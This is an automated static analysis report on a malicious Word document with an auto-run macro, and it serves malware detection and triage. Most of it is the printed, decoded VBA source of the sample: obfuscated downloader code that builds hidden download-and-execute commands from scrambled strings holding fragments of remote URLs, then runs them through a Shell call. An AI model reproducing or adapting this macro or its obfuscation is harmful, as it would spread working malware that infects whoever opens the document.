Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de1a5e76377e8c5f…

MALICIOUS

Office (OLE)

97.5 KB Created: 2018-02-20 19:24:00 Authoring application: Microsoft Office Word First seen: 2018-03-04
MD5: bd29abe3300492397fe4bdce5ca61361 SHA-1: 42fb1238ca2a490691cf94fe2a7a44102f639961 SHA-256: de1a5e76377e8c5f6d28b4377b87164ce0f8fc45e7b2a5e7d9197bd2aefd8d86
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a legacy WordBasic auto-exec macro named 'AutoOpen'. Heuristics indicate a potential Shell call within the VBA code, suggesting it's designed to execute arbitrary commands. The presence of obfuscated VBA macros further supports this, pointing towards a downloader or dropper functionality.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    HuAvKttDs = (2232854 - CDbl(7800585 + vnpmKdii / BiTcqHiWoW * Hex(5757791)) - 3806830 + CByte(KwJwLcESaDCNJ))
    Shell RFCLcUUFPhTTl + zmdDVKEuptS + hDpKzBd + cMRCaIbbQOjPM, 0
    QmLBzYEjb = (6021606 - CDbl(8421422 + plWOsPIOYcpta / MioREmWCQRdJw * Hex(5514500)) - 4807680 + CByte(AhaLlXE))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "pYYzKbs"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27307 bytes
SHA-256: fcfb8b9197f9f9a53df44dcd0693adaada405276a94a5d891758a5cb4f131561
Detection
ClamAV: No threats found
Obfuscation or payload: likely
635 of 909 identifiers look randomly generated (e.g. 'IjGAwKSXRWwHBTHDzuqnQjYmNZjaiSzzaCU5LRca'); 12 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "iKUqVKScRmjFk"
Function DhkYmSWAUbok()
On Error Resume Next
rABBuiPJ = (2775890 - CDbl(7044535 + DjzjvX / BNFNjJcSdcS * Hex(234580)) - 9835917 + CByte(lAuLMOiO))
wnIqLfaZw = (1385202 - CDbl(9394837 + dKbXM / JHDSsbzJCzjuhM * Hex(2541317)) - 7208618 + CByte(RjEViJBnGJLF))
iAJZEB = (9807535 - CDbl(193398 + RhJtvBsYvBKOzU / kosYJoIZbw * Hex(412922)) - 6133958 + CByte(SnEDwoczDTpk))
hQHDWABVoM = (GhNtMcBYJf) + yHBjksbJKSUgsssd("EWVocJNa'7ioa5LR+5LRtpk+tpkr )5LR+5LRTNItp'+'k+tpktTNI+TNI7i5LR+5LRo+7iocej7io+7iobo7io+7io-7io+7iowT7io+7ioN7i'+'o+75LR+5LRioIhjr", 4, 119)
WhMVQXPAj = (1193703 - CDbl(1126355 + zGPLra / UCnkdwFDDAN * Hex(1314686)) - 8863008 + CByte(rcHhTsUZ))
WrcmQqXf = (9203207 - CDbl(2865185 + ECWRfqbF / CKnGcKBfqtIzL * Hex(8211368)) - 1095722 + CByte(HdYhMvGYSZ))
LDAXMA = (9346530 - CDbl(6790991 + YJmACOhpAEIq / iCGTsLQnXNCYf * Hex(1306272)) - 618078 + CByte(oDOStSj))
JkKtqKiA = (MarGJHiutV) + yHBjksbJKSUgsssd("zBNV]gNirtS[,)611]rahC[+211]rahC[+701]rahC[((EcaLPEr.)63]rahC[]gNirtS[,'Hdp'(EcaLPEr.)')tpkXtpk+]5[cIlbuP:VNeHdp+]31[cIlBuP:VneHdp ( & tH3 )63]rAHc[]gnIRTS[,)07]rAHc[+27]rAHc[+05]rAHc['+'((ecAlPeR.)93]rAjPELpZuhOdZmauwGCsmHAqZnOZRbih", 31, 199)
rCcqttSKnE = (6737298 - CDbl(5555060 + HibMAuYwP / kUjisAQo * Hex(7556230)) - 6342936 + CByte(twvoXd))
DdViC = (9993096 - CDbl(9213821 + mnVlVuMu / VSazliiwC * Hex(5001357)) - 9551204 + CByte(IvvONffYdRY))
oawsaRU = (46412 - CDbl(9376035 + wzzNwnWQROi / NNKbaZwjirZWHP * Hex(6292051)) - 4224837 + CByte(EuaAElfwobJMr))
zizMiKvRSq = (NESzjlSzAw) + yHBjksbJKSUgsssd("zzh+TN7io+7ioI7io+7ioetpk+tpkTN7io+7io5LR+5LRI+TNInTN7io+7ioI('+'tpk+tpk&7io+tpk+tpk7io = dsad7iotpk+t'+'pk+7'+'ioasnG7io+7ioHo7io('+'(5LR((( '+')5LR5LRnIoJ-]52,42,4[cePsMOc:vnEFH2 ( &tpk('+'KEPMWLwNwIIFVuHRVuCQAOiGJ", 26, 188)
LizulXRD = (2608541 - CDbl(3732475 + vJbicm / oXnNrqpzOHsNwY * Hex(7647549)) - 538327 + CByte(FXhsCLUQOYW))
wDoGKKoUHC = (1598921 - CDbl(8057994 + ZEANpOrhkRl / tdzXjHGvYFEFl * Hex(2313132)) - 3645492 + CByte(dRSpYYSJwKzopY))
rwtvGKwd = (7389597 - CDbl(3180505 + KSqQro / BuKUAvcd * Hex(9079247)) - 8821016 + CByte(TwvTU))
ojmrF = (BEZbGiHAW) + yHBjksbJKSUgsssd("DNKsAjBnCuno+7ioatpk+tpkc'+'irf7io+7ioa7io+7ioamm7io+7'+'ioam75LR+5LRio+7io.wwtpk+tpk7io+7iow7io+7i5LR+5LRo5LR+5LR/7io'+'+7io/:p7io+75LR+5LR'+fzDMU", 6, 131)
IRLMqNSVVl = (7574258 - CDbl(5827767 + wJBiUtv / SRLrzfaQ * Hex(2978413)) - 1219685 + CByte(oKBMzBkSNSq))
uWCSfV = (9234245 - CDbl(1649065 + HMhZqpYKhzWl / wwGVNwDpCzz * Hex(680119)) - 6360322 + CByte(aiBcVDCqTsq))
tnAKh = (4717001 - CDbl(3316942 + idBqLRn / GzdzFzEPj * Hex(4283757)) - 1901095 + CByte(zbfXA))
STTziYIntz = (nzatcjlcC) + yHBjksbJKSUgsssd("RrCFGHqzapcrI)7io+'+'7ioT7io+7ioNItp'+'k+'+'tpk7io+tpk+tpk7io?TNI(tilptpk+tpkS.'+'TNI/7R97io+7io97io+7iom7io+5LR+5LR7io/ur.5LRbCkszKwfNrnDnXRvdlrjrcQYWO", 27, 113)
JrnqWbv = (9542980 - CDbl(555134 + EIUOMOCzipck / tsSoUOoiTci * Hex(8961999)) - 1633972 + CByte(zcZiliUYFKaSd))
cwClCwMd = (1517257 - CDbl(5432497 + RPiOKklJ / jOGkf * Hex(8087735)) - 3853913 + CByte(UDVEL))
wBtDvSXk = (8376154 - CDbl(1236183 + VnIOBlj / CLPPt * Hex(6861942)) - 2879718 + CByte(PcBPNnZUFPIEG))
qwrWYiGmu = (rPwDcDwW) + yHBjksbJKSUgsssd("PWLDHIAVDdBtVqlaNUGjiUNFYvQmFDHb+5LRomana/'+'/:7io+7ioptth?/gisU/ofni.7io'+'+7iopuo7io+7ior7'+'io+7io5LR+5LRg7i5LR+5LRo+7io-pt//:p'+'tth?/7itpk+tpko+7ioqu95LR+5LRzP0U/7'+'io+7iogr7io+7ioo.7iSEf", 4, 158)
JcJnGp = (8019294 - CDbl(8165652 + hOnImccvpFrrru / MUbDiJEE * Hex(8740438)) - 371252 + CByte(YPcXX))
utjpfIzfJ = (6514962 - CDbl(6486125 + HiplO / EItOjMSpW * Hex(3449653)) - 3979942 + CByte(mIpcJu))
MXQbYKEfadC = (1343390 - CDbl(6420702 + NTSiJ / pniXiN * Hex(6466271)) - 5675119 + CByte(LpKpm))
iGTciuU = (AwhEiUaEKkoipi) + yHBjksbJKSUgsssd("AlIhvffvYE+7io XCDAG7io+7'+'ioHo7io+7io;)331282'+' ,7io'+'+7io007io+7io001(7io+7iotx7io+7ioe5LR+5tpk+tpkfDwE", 5, 94)
BVYinYc = (8690260 - CDbl(851186 + pRTkRuUUJQ / NkcIJbEj * Hex(2930013)) - 7301121 + CByte(kJknJfE))
DGuEciBbEP = (2937580 - CDbl(3199235 + rvXNGLNmz / fKNLRzuiT * Hex(6468601)) - 2351637 + CByte(sdjJzdlpQuzv))
GYbhmPQ = (4335601 - CDbl(7927156 + vCPquR / favZVJl * Hex(4945397)) - 9196267 + CByte(KCCujwMjAIF))
PfFAOjIUii = (SrpajZCcCnul) + yHBjksbJKSUgsssd("kruKWiZinAOnoInMESrEkSHmYHc[]gnIRTS[,tp'+'k5LR'+'tpk(ecAlPeR.'+')tpk )'+' )93]RaHc[,5LR7io5LR ECAlpeRC-  421]RaHc[,)'+'89]RaHc[+77]RaHc[+0tpk+tpk7]RaHc[(ECbuptzSEEAHu", 12, 130)
quaJTLFJI = (1176713 - CDbl(659777 + tJJuOd / tPlzsrtiZwZi * Hex(7447029)) - 5290034 + CByte(EPnuhUpjk))
GSVpnjIkaST = (4176785 - CDbl(28695 + XNTDrkpPLRs / YrpNOo * Hex(4484826)) - 3212748 + CByte(UFuGUvPDfBc))
NooVajR = (8479120 - CDbl(1513615 + RFtizzMNm / hWqfcVwwj * Hex(899082)) - 611785 + CByte(ZwXpZL))
onuXkQl = (GNZIbDqwQkUmLO) + yHBjksbJKSUgsssd("XnzTPYFLALDNQOVZsfPKRtJJTIQjkHmHc[( EcalPer-  )7io}7io+7io}{hct7io+7ioac};'+'7io+7iokaerb;7io+7'+'io)CDSGHo()TNImet7io+7ioI7io+7io5LR+5LR-e'+'7io+7ioTN7io+7ioI+T7io+7ioNIk5LR+5LRTN'+'I+T7io+5LR+5LR7ioNIov", 2, 172)
DjKwKvpr = (930631 - CDbl(5723168 + DSIjzK / YAhVFT * Hex(1090174)) - 4172045 + CByte(VApYQl))
EHiCQhjiwAd = (9389710 - CDbl(8005471 + Walol / MnFNCPbWw * Hex(3333165)) - 9036317 + CByte(YzSFsiiE))
XJlkha = (1909860 - CDbl(2894279 + sRWSf / kWjOMJSOsT * Hex(8243723)) - 8885576 + CByte(tHVTYsiRhC))
bMMbOU = (GSYZzEkaK) + yHBjksbJKSUgsssd("IjGAwKSXRWwHBTHDzuqnQjYmNZjaiSzzaCU5LRcalPer-  93]RAHc[,7ioTNI7io  EcalPe5LR+5LRr- tpk+tpk '+'43]RAHc[,7iotw", 3, 71)
UzECWkQ = (9970156 - CDbl(2898576 + KfVzXwzawJCT / iAMjBwnuw * Hex(6551469)) - 6523491 + CByte(KPLEhZi))
BUmAzkJnak = (7675996 - CDbl(4430617 + fblpziWzm / blVLbQ * Hex(8049671)) - 670998 + CByte(tMznkNjlWO))
wfVllPAwoGT = (6820051 - CDbl(3915840 + CMVkwLwFXwv / lYtAdRkiM * Hex(5723575)) - 1774281 + CByte(oAcOwzkDovj))
tlILifUwFnQ = (wwwLuLDMnAr) + yHBjksbJKSUgsssd("bZGhjiVzbDWKkv '(tbwNVFjNbHXlDw", 15, 3)
YlYLwAMcMm = (8035017 - CDbl(3729053 + DnwzjkIXO / jpokKmzGZpIvf * Hex(4867394)) - 415030 + CByte(ZKGmDzcKGCtT))
nDTZzi = (9003503 - CDbl(3872740 + zzKfIAE / GwtPdQHIXv * Hex(9156739)) - 2196555 + CByte(RbokNiiIsfLFcK))
tWzXj = (9187452 - CDbl(4115430 + tnUkAoKjwuwuW / zIPjYVuvW * Hex(5166928)) - 3521614 + CByte(SiJBFLm))
mckiQooq = (NCOwopltzz) + yHBjksbJKSUgsssd("rErOParnFiLRn.d7io+7iostpk+tpka7io+7iodasn7io+7i5LRQ", 2, 41)
EjSiMXY = (3336800 - CDbl(8694754 + mWcZwomH / VrRCPlrtjmvEq * Hex(2069395)) - 4271097 + CByte(pbomiEq))
bXBVvuoz = (9640119 - CDbl(9119162 + QBbSusGdmU / JOlIFSizNvL * Hex(1151405)) - 2407623 + CByte(NwUORA))
muCzEq = (3701198 - CDbl(1321144 + VpSNrCwMYBhf / CiYmMAh * Hex(6578234)) - 846686 + CByte(PKhulPUUMDdPSn))
RvWdzZJczd = (NWHLzMiXzzw) + yHBjksbJKSUgsssd("zbCNUshKwbwKLio BSNGHo + TN'+'7io+5LR+5LR7ioI7'+'io+7i5LR+5LRonJ7'+'io+7ioMT7io+7ioN7io+7ioI '+'+ c7io+7ioil7io+7iobu7io+7io5LR+5LRp:7io+7iovneGHo = '+'7io+7io'+'CDSGHo;7io+7tpk+tpkiomHXnIsfF", 9, 170)
zahccU = (7747569 - CDbl(3647504 + DRtCDKHMz / jUcjm * Hex(2323248)) - 7093950 + CByte(ZESzRrjijzv))
IzjqOsSHL = (4743509 - CDbl(8001423 + tdawYkAcnCl / YKzRIiFzPNG * Hex(780985)) - 9988732 + CByte(TUiIR))
LmPLkwSpWPR = (4845161 - CDbl(2749090 + bwJon / hwRPN * Hex(6604295)) - 3689697 + CByte(iPqRTsRfX))
OIHTnITEaBN = (fcAvqqf) + yHBjksbJKSUgsssd("lXPiNDKJXoQrWoHEXOAlpeRC-  )5LR)7io7ioNIOJ-]5LR+5LR2,11,3[eM5LRtpk+tpk+5LRan.)7io*RDMtpk+tp'+'k*7io vG(( & bMF )5LR+5LR2tpk+'+'tpk9]RAHc[,7ionJM7io E5LR+ESFWJ", 6, 135)
DIDwUbJw = (8093554 - CDbl(3384443 + ulPSAGVjvbn / RiAwniBNvphHW * Hex(5033526)) - 2668625 + CByte(wjffjmXuiL))
HjjjkJufPQ = (6980919 - CDbl(1149296 + ooZUiZWPTIMoEn / EHwas * Hex(8744480)) - 6997185 + CByte(vHIiLGP))
KKCHOKFEQD = (5291935 - CDbl(8894963 + OHBHmrArNfaSrc / SqaPJNFEbiMVvL * Hex(1639976)) - 722613 + CByte(SspjDwVEaBj))
PvnDlfOZjUl = (jBHUqFQSwr) + yHBjksbJKSUgsssd("IRjGOMhlrWCjzTZFVlwLdPTblLR+5LR7io5LR+5LR+7ioGtpk+tpkHo(hcaero7iotpk+tpk+7iof;)T7io+7ioNI5LR+5t'+'pk+tpkLRtpk+tpkeTNI+TN'+'Ixe.7i5LR+5LRo+7ioTNI( +7io+7tpk+tpknpBDnwzh", 9, 134)
jBiTQ = (910988 - CDbl(5286402 + AznSPtFKjMZwp / zqPTr * Hex(2874083)) - 4102492 + CByte(JjddTvjUVbd))
qHDpta = (8715168 - CDbl(5483847 + sNcXjBAV / EjbcfpLMMXS * Hex(8029366)) - 1405449 + CByte(lZKbOrzVwYjz))
wLoBn = (503595 - CDbl(8241505 + fThowZtr / DfJORVKa * Hex(7105100)) - 4819297 + CByte(zYaliminCvhmU))
wJrDsAjbG = (QoMkiJCZdZVFf) + yHBjksbJKSUgsssd("sTZDnR+7ioHo;tnei5LR+5LRlCbetpk+tpk'+'7io+7ioW.7io+7ioteN.m7io+7ioetsyS '+')TN7io+7ioItcejbo-TNI+tpk+tp'+'k7i'+'o+7ioTNI7itpk+tpko+7i5LR+5LRowtpk+tpkTNI+TNI7io+7ioenTNI(. 7i'+'o+7io= UYZjzjlNjuqDFDhpiUtUWstUCofu", 27, 180)
AXlCjMUJ = (1314600 - CDbl(8754029 + KKrGoXVtoWkSZZ / KzPhCCwDi * Hex(2535924)) - 7728350 + CByte(VIVUZKpqAXlt))
AUmliRYI = (3836962 - CDbl(511190 + sMTIphmSAIZrs / HMtAiAk * Hex(3754920)) - 424105 + CByte(HkiZnNV))
GBZhzA = (2657729 - CDbl(9904985 + DqKEwHi / UMASwctKsslCF * Hex(4854358)) - 1945852 + CByte(AFwNfm))
LqnHKTRKw = (aOGMdzX) + yHBjksbJKSUgsssd("MmRQMRoADGjotVATmzZPfdffubc7io  ECal'+'peRC- 69]RAHc['+',)84]RAHc5LR+5L'+'R[+911]RAHc[+5tpk+tpk8]RAHc[( Eca5LR+5LR'+'lPer- 63]RAHc5LR+5LR[,)17]RAHc[+tpk+tpk27]RAHc[+'+'111]'+'tpk+tpkqVO", 4, 158)
wlitiKzNfi = (282546 - CDbl(873404 + IUKiZpaRSdJEr / kLaUzLR * Hex(8644504)) - 6610429 + CByte(RJjuX))
jlishwuwamo = (6075220 - CDbl(6863208 + jHRzk / QUOVnBSR * Hex(7228771)) - 3259441 + CByte(wEMBtbP))
jGZbpjaVN = (7347471 - CDbl(1245433 + PGjtmtJU / tnbJDfzwFjk * Hex(9966350)) - 4678680 + CByte(ibbXwqfB))
vbjija = (JpnFfcVcczHij) + yHBjksbJKSUgsssd("ifabojDjb'iotttpk+tpkh?/V7io+7ioaVq/nv.m7io'+'+7vsMVjtjGCJGTUbXIRFtqTn", 23, 39)
lNIkiJics = (4294680 - CDbl(9255875 + KFVRrozSLWK / DrczKCRPUF * Hex(4655175)) - 5191483 + CByte(WuJFh))
zJDVOwarYnO = (2707123 - CDbl(5393342 + ArFHiJZkIolzS / jwXjGEjKEhuOVt * Hex(7817277)) - 2494292 + CByte(IijDzWpcss))
GdmhwoFBO = (5995248 - CDbl(2267105 + mbkXOMhw / XNpmXN * Hex(3821916)) - 7857658 + CByte(vvLdQivjaiG))
UvXBtaOO = (JwCXZVuJ) + yHBjksbJKSUgsssd("XpTQZucEJipiioo7io+7ioc.rahpati7tp'+'k+tp'+'kio+7ion.7io+7iow7io+7ioww/5LR+5LR/:ptth?7io'+'+7io/2I5L'+'R+5'+'LRGLCB/7io+7ioac.ttaywj//'+'75LR+tpk+tpk5LRio+7io:ptth'+' TNI 7io+7io=7ioEcrpfmqBioTNpbSolwzMlvi", 24, 170)
zUjoB = (6875931 - CDbl(3044037 + JLCcim / rtLLqzcuqrATQf * Hex(5392340)) - 1043242 + CByte(hTaGwKz))
rmzutQS = (3452867 - CDbl(6757490 + lHbVzqfoHzL / PWhSMLQwa * Hex(6431459)) - 1140199 + CByte(uOLtsjLtHOrnP))
jXjmPVHAN = (4307555 - CDbl(714667 + lqUFALEEYf / nBkJEBkaiimvYn * Hex(3335603)) - 2939601 + CByte(fuDpI))
DvHQLs = (fcffBLWNNzcIDM) + yHBjksbJKSUgsssd("hnjoOrKlERBjjiYGHo7io+7io;7io+7iomo'+'d7io+7ion'+'7io+'+GfEjNJItuiiDuCPtHVDI", 21, 42)
XIdEChG = (9184289 - CDbl(686910 + dcIfNWZrB / rXXSinPYrvsJZu * Hex(7417458)) - 8076644 + CByte(pRiGnHh))
zMLTLLW = (8204207 - CDbl(7048172 + sfBfwkiEzZ / MICKDIhUDOt * Hex(4476182)) - 1332864 + CByte(ZTpDQqbzKXtq))
wnMDAY = (3053901 - CDbl(9207656 + qpoQicIfv / wAVhOzHuuWQ * Hex(8689616)) - 90463 + CByte(jFOzfQNslvM))
WUljBY = (XFnlivVzwuvSj) + yHBjksbJKSUgsssd("iawURARnprsXSopz", 11, 2)
YWkPST = (5693009 - CDbl(2825429 + AiWGPaU / uAWnFdzjPuzzB * Hex(1449778)) - 5982690 + CByte(XLnOizbu))
lmbaOwa = (8649992 - CDbl(1042925 + PzKafvGclahU / wJrmdQKszG * Hex(6793537)) - 669117 + CByte(FHzZbuApjiFT))
GrpiFnXpN = (3936435 - CDbl(425443 + itqprIQZGoQcvu / rbWspwfL * Hex(9797579)) - 7554382 + CByte(pOamSJOP))
ANUkQ = (FQwXlwUZIzpHj) + yHBjksbJKSUgsssd("qGvHXo+7iobcel7io+7itpk+tpko0w7io5LR+5LR+7ioUIFdaO0wUlnW0wU7i'+'o+7iotpk+tpko7io+7ioDu5LR+5LRbc.7io+7ioU7io+7io5LR+5LRY7io+7itpk+tpkoYGHo{yrt{)XCD7io+7ioA'+'7io+7ioGHo ni cfsa5knQuQMAVU", 10, 171)
tZkRXiz = (6624218 - CDbl(8291702 + XTCzU / HNfjKbhLO * Hex(45766)) - 3309161 + CByte(aoUPtuiIWhCS))
FvVzstFv = (2848280 - CDbl(4436431 + roLmhXODE / OJPvlNMfL * Hex(1481722)) - 583981 + CByte(IZIQLAZLMRn))
OrZwVwBWCa = (509656 - CDbl(8239939 + DNjQMkPpi / SNkUpnDPVJf * Hex(7286855)) - 5873347 + CByte(LOdtMzWN))
fDArvTJlEuR = (kKSEvUrdwbMwz) + yHBjksbJKSUgsssd("GrTIviLbQIUqFZzktpk'+'+tpk+5LRoGHo = BS7io+75LR+5LRioNG5LR+5LR7io5LR+5LdBWadszs", 9, 55)
kYSiLTT = (6384651 - CDbl(8283543 + iSFzGWdh / FIWJqrJ * Hex(3816755)) - 632718 + CByte(NrGSNwYYnjwjX))
Xziai = (4511491 - CDbl(8607487 + dpzLvoMK / qtvfhEEdpdZcz * Hex(8482182)) - 9846351 + CByte(wqwOZkwRaOU))
XnlOL = (4267613 - CDbl(8355628 + YfvaWFctFiuCit / ndzwdzwO * Hex(9162162)) - 3615517 + CByte(viESkh))
jbOilkOAX = (SRSuYzwPFVZOXj) + yHBjksbJKSUgsssd("ZnMl7io+7iovnITNI'+'(&;)tpk+tpkCD7io+7ioSGH5LR+5LR7io+7ioo ,)(ub7io+7iocg5LR+5LRN0w7io+7itpk+'+'tpkoU7io+7t'+'pk+t'+'pkioi0wU7io+7iortSo7io+7io5LR+5LR'+'Tubc.7io+7iocf5LR+5L'+'RsaGHo(u7ipBMoIvCWaFE", 12, 182)
zGlDmrw = (3207979 - CDbl(61894 + RJzont / QqoYHEb * Hex(822736)) - 4454459 + CByte(NubwDqjShNKXs))
tJVbzGMJJPR = (5930013 - CDbl(5761772 + QDkIQzZHFLQ / ijvTqHMVY * Hex(2258319)) - 2799654 + CByte(RWGfCszJ))
XXhlJibPPba = (8930221 - CDbl(5262093 + YUObQUUqraGn / SqjkS * Hex(1536073)) - 1405947 + CByte(pQquq))
SCzwqGz = (CEwmlWXOza) + yHBjksbJKSUgsssd("RHWEllRvqzUsqZwYYxei |)421]rahC[]gNirtS[,'tH3'(EcaLPEr.)93]rahC[CzilK", 6, 47)
DhkYmSWAUbok = jjlwmcLwtMVzZB + EMOGfDrWzcfvBE + VNbzzGIkzum + ChrW(34) + XtKiENMLNr + tlILifUwFnQ + zizMiKvRSq + hQHDWABVoM + DvHQLs + wJrDsAjbG + fDArvTJlEuR + mckiQooq + iGTciuU + UvXBtaOO + vbjija + ojmrF + qwrWYiGmu + STTziYIntz + RvWdzZJczd + PvnDlfOZjUl + ANUkQ + jbOilkOAX + onuXkQl + WUljBY + LqnHKTRKw + bMMbOU + OIHTnITEaBN + PfFAOjIUii + JkKtqKiA + SCzwqGz
mUjjDXhZa = (3073808 - CDbl(5671574 + TbjJvrEEWG / jRWjL * Hex(7366269)) - 6370886 + CByte(BAOsjInvEwWao))
ruajzvRUH = (1571178 - CDbl(4088983 + RzRjrVntXcc / iABIv * Hex(110336)) - 1163637 + CByte(fOrXwzMrQXustN))
SIVPMdihQ = (2965527 - CDbl(3532637 + AwuIZGCVz / HujuI * Hex(9257859)) - 5643861 + CByte(ijLVh))
End Function
Sub fLQmmcqVbSJ(zmdDVKEuptS As String)
On Error Resume Next
FjiRuWZkl = (1061299 - CDbl(6250659 + EwzbzUuKHvnlNB / kSqRqKt * Hex(4122150)) - 4110866 + CByte(WSPrfFfHrNoGww))
HuAvKttDs = (2232854 - CDbl(7800585 + vnpmKdii / BiTcqHiWoW * Hex(5757791)) - 3806830 + CByte(KwJwLcESaDCNJ))
Shell RFCLcUUFPhTTl + zmdDVKEuptS + hDpKzBd + cMRCaIbbQOjPM, 0
QmLBzYEjb = (6021606 - CDbl(8421422 + plWOsPIOYcpta / MioREmWCQRdJw * Hex(5514500)) - 4807680 + CByte(AhaLlXE))
NYzYAonwR = (5120483 - CDbl(1227537 + ZsKaFTm / FkiRfpLc * Hex(1626167)) - 3739673 + CByte(HoZbsFO))
End Sub

Attribute VB_Name = "fSMXIqpJJUH"
Function VNbzzGIkzum()
On Error Resume Next
rABBuiPJ = (5359631 - CDbl(4532608 + wSYRXYca / jINOqw * Hex(8869012)) - 4949850 + CByte(oBMSEvZn))
wnIqLfaZw = (3850200 - CDbl(3570111 + jcLSs / kCBJnDp * Hex(8528746)) - 7460504 + CByte(GuOiYIFnWFfO))
iAJZEB = (5558386 - CDbl(8504574 + EKWdGwuVcOrX / AwWaRG * Hex(3534512)) - 8587175 + CByte(kfXXYw))
hQHDWABVoM = (QCWzTIEjSiY) + yHBjksbJKSUgsssd("fG5p4C45IhXuGaMHKBdt=%fFvQaqJhj1T", 4, 22)
WhMVQXPAj = (4227776 - CDbl(4970068 + wZqFjYzhtsSOk / FCLlOFTU * Hex(3293654)) - 9893310 + CByte(blYEcZDjjkTd))
WrcmQqXf = (1794858 - CDbl(9362415 + PrsaOWLV / juKHUYiI * Hex(8251020)) - 3665176 + CByte(mYdQTO))
LDAXMA = (5792444 - CDbl(696248 + lZBouqbbqlP / QFXiOwPI * Hex(1059869)) - 2139121 + CByte(qohqObHzsHoh))
JkKtqKiA = (lTjkvmYjFw) + yHBjksbJKSUgsssd("EfNm   !%jptaObQsvqDvSIsi55Wc8ddjMbkYsvzAIFRzk", 31, 12)
rCcqttSKnE = (2769236 - CDbl(9125431 + anLANzNAim / HbXRqsklL * Hex(504408)) - 8644427 + CByte(mwKXItDjiMM))
DdViC = (1383833 - CDbl(3719949 + VwijCjTjkuv / rLickZhGYEDc * Hex(1047727)) - 1293467 + CByte(FsvPQzJXlH))
oawsaRU = (5307704 - CDbl(1554 + NGLPbT / rwBbn * Hex(4950280)) - 2450131 + CByte(RvBivE))
zizMiKvRSq = (FDsWTFiES) + yHBjksbJKSUgsssd("Xtio% tes9nztCZRrvkTzCCuz73LtwWKph", 26, 6)
LizulXRD = (3762583 - CDbl(5296784 + lAFqGzEEzSWkw / SCBhTOBTpY * Hex(1533673)) - 9950073 + CByte(qRGzVDoFhiGOL))
wDoGKKoUHC = (4017649 - CDbl(3861392 + AVCFJmkGJAMpR / hiGFNms * Hex(3961760)) - 266708 + CByte(HWkTuSIthZp))
rwtvGKwd = (485785 - CDbl(984054 + iEhAoUrwoWBYH / HhBfUW * Hex(9510151)) - 7431604 + CByte(QLqsT))
ojmrF = (UIZYtSsnBlFnHq) + yHBjksbJKSUgsssd("p5wUZCiHjIT% tes&&!%kobUAWSmYkhD%!=%zrAoaZP% tes&&re=%JSbVqcmmQLf% tes&&niFbj2N", 6, 63)
IRLMqNSVVl = (3504551 - CDbl(4251350 + CmzXKhi / wCQozcXqvBWvui * Hex(9711208)) - 5420458 + CByte(zojoEn))
uWCSfV = (9659660 - CDbl(8009115 + qjIVKwuPaG / CiDRSmMvbQTn * Hex(4551554)) - 2511266 + CByte(tBIrPSz))
tnAKh = (3639032 - CDbl(7420347 + iaqaAfIsnHQkP / RbCOOWtkI * Hex(9971881)) - 598980 + CByte(GiqVDPRajMVVa))
STTziYIntz = (FrjjpIiN) + yHBjksbJKSUgsssd("FctrmR1R53ENucmmQLf%!!%zrAoaZP%!!%UdJadtlqqjRzz%!&&ll=%jptaObQsSwU% tes&&eh=%iuzqjtMERljzsRZwiQQPX4UJXAjmRjLOs", 27, 71)
JrnqWbv = (4727368 - CDbl(4872814 + RDATo / EFhodLzACFtG * Hex(3986374)) - 1584688 + CByte(GTLBc))
cwClCwMd = (7210281 - CDbl(8873491 + wSMluSCtqz / VihwbEzzPldBDR * Hex(9668586)) - 2226538 + CByte(pRLBKbjVQZDi))
wBtDvSXk = (94324 - CDbl(2276598 + JVmUY / jwcnitURI * Hex(4007808)) - 9195900 + CByte(RDYlwK))
qwrWYiGmu = (PzwSqWH) + yHBjksbJKSUgsssd("wd2FVjdZTROsisj6tAEvwq1ncj0TYPjZjdQnhvp% tes&&!%ivjHtpZdaX%!=%UdJadtlqqjRzz% tes&&oLBWOwjiw=%KOGuCB", 4, 64)
JcJnGp = (4117531 - CDbl(6728719 + jhOEIEH / jIfXWbNavZ * Hex(3331689)) - 6301034 + CByte(PTvZZqSTD))
utjpfIzfJ = (9473451 - CDbl(517869 + liZjW / aonjR * Hex(8818716)) - 3931924 + CByte(CPNShEC))
MXQbYKEfadC = (7747206 - CDbl(3318666 + TiiOpIf / cVlzoqZ * Hex(4395383)) - 8196853 + CByte(ljCBEOnCGlQwA))
iGTciuU = (ZZsiidnNG) + yHBjksbJKSUgsssd("l21aiMMhpT&&staUchBAtVBDYD=%kYwczTuQ18", 5, 24)
BVYinYc = (5059363 - CDbl(7440591 + uuiVp / dZhCitHivkFo * Hex(6709799)) - 5291133 + CByte(sFlquizzRAm))
DGuEciBbEP = (2342908 - CDbl(5471406 + LmikUz / LHjQvzQjUfrLSC * Hex(7889262)) - 8686367 + CByte(uFiaQCrhid))
GYbhmPQ = (6997245 - CDbl(9634689 + DOdmhwBawf / SwUuBJDWtzp * Hex(2846598)) - 3769362 + CByte(vEriQWfit))
